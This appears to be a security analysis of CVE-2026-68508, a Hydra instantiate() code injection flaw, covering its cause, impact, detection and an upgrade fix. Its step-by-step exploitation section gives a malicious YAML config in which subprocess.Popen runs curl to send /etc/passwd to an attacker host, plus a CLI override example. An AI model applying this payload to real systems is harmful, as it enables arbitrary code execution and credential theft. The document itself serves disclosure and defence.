CVE-2026-68508: 
Python vulnerability analysis and mitigation

CVE-2026-68508 is a code injection vulnerability in the Hydra configuration framework (by facebookresearch/hydra-ecosystem) that allows arbitrary code execution via the hydra.utils.instantiate() function when passed untrusted configuration. All versions of hydra-core up to and including 1.3.3 are affected; the issue is fixed in version 1.3.4. The vulnerability was disclosed on August 21, 2026, with the security advisory published by GitHub. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory).

The root cause is improper control of code generation (CWE-94) combined with unsafe reflection via externally-controlled input (CWE-470). The hydra.utils.instantiate() function resolves and calls Python objects specified by the _target_ key in configuration through _resolve_target() in hydra/_internal/instantiate/_instantiate2.py. If an attacker controls the _target_ value — via untrusted config files, CLI overrides, or model metadata passed to instantiate() — they can select any importable Python callable (e.g., builtins.exec, subprocess.Popen, os.system) and supply attacker-controlled arguments, resulting in arbitrary code execution within the consuming process. Exploitation requires user interaction in the sense that a consuming application, library, or workflow must load and pass the attacker-controlled configuration to instantiate() (GitHub Advisory, GitHub PR #3261). This vulnerability class was previously identified in downstream AI/ML libraries such as NVIDIA NeMo by Unit 42, where untrusted model metadata was passed into Hydra's instantiate API (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary Python code within the process that calls hydra.utils.instantiate(), with the full privileges of that process. Concrete impacts include reading files, credentials, and environment variables accessible to the process; modifying files, outputs, checkpoints, or application state; and terminating or disrupting the process. The scope is limited to the affected process's environment, but in AI/ML pipelines where Hydra is commonly used, this could expose model weights, training data, API keys, and cloud credentials (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the disclosure date (GitHub Advisory). The vulnerability is not automatable (per NVD SSVC assessment) and requires user interaction — specifically, a consuming application must load and pass attacker-controlled configuration to instantiate(). The EPSS score is approximately 0.0025 (low probability of near-term exploitation). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. No threat actor attribution has been reported.

1. Identify a target application: Find an application, library, or ML workflow that uses hydra-core <= 1.3.3 and passes externally-supplied configuration (e.g., config files, CLI arguments, or model metadata) to hydra.utils.instantiate().
2. Craft a malicious configuration: Create or modify a Hydra configuration file (YAML) or CLI override to set _target_ to a dangerous Python callable, for example:

   component:
     _target_: subprocess.Popen
     args: [["curl", "http://attacker.com/exfil", "--data", "@/etc/passwd"]]

3. Deliver the malicious config: Supply the crafted config via a shared config file, a CLI override (e.g., +component._target_=subprocess.Popen), or by injecting into model metadata that the application loads and passes to instantiate().
4. Trigger instantiation: Cause the target application to call hydra.utils.instantiate(cfg) with the attacker-controlled configuration, which invokes _resolve_target() and resolves the malicious _target_ string to the actual Python callable.
5. Achieve code execution: The resolved callable (e.g., subprocess.Popen) is called with attacker-supplied arguments, executing arbitrary commands in the process context — enabling data exfiltration, credential theft, or further system compromise (GitHub Advisory, GitHub PR #3261).

• Logs: Application logs showing unexpected _target_ values in Hydra configuration (e.g., subprocess.Popen, os.system, builtins.exec, builtins.eval, importlib.import_module) being instantiated; InstantiationException errors referencing blocklisted targets (on patched versions, indicating attempted exploitation).
• Process: Unexpected child processes spawned by the Python application process (e.g., curl, wget, bash, sh, python) that are not part of normal application behavior; unusual use of subprocess or os.system calls originating from the Hydra process.
• File System: Unexpected new files written to the application directory, model checkpoint directories, or temp directories; modification of configuration files or model metadata files with injected _target_ keys.
• Network: Outbound network connections from the ML/application process to unexpected external hosts, particularly shortly after configuration loading or model instantiation events.

Upgrade hydra-core to version 1.3.4, which adds a blocklist of security-sensitive _target_ callables (including builtins.exec, subprocess.Popen, os.system, and many others) inside _resolve_target(), with an escape hatch via the HYDRA_INSTANTIATE_ALLOWLIST_OVERRIDE environment variable for intentional use cases (Hydra v1.3.4 Release). As a workaround, applications should validate and sanitize all _target_ values against a trusted allowlist before passing configuration to hydra.utils.instantiate(), and should never pass untrusted config, CLI overrides, or model metadata directly to instantiate() without validation. The unreleased Hydra 1.4 development line will use a default-deny allowlist model that more fully addresses this vulnerability class (GitHub Advisory).

The advisory credits researcher guwu1017 for the report and was published by Hydra maintainer omry (GitHub Advisory). The advisory explicitly references prior Unit 42 research on the same vulnerability class affecting downstream AI/ML libraries such as NVIDIA NeMo, contextualizing this as a broader supply-chain risk in the AI/ML ecosystem. The release attracted attention on Mastodon and security news aggregators, and Tenable added cloud security plugin coverage shortly after disclosure.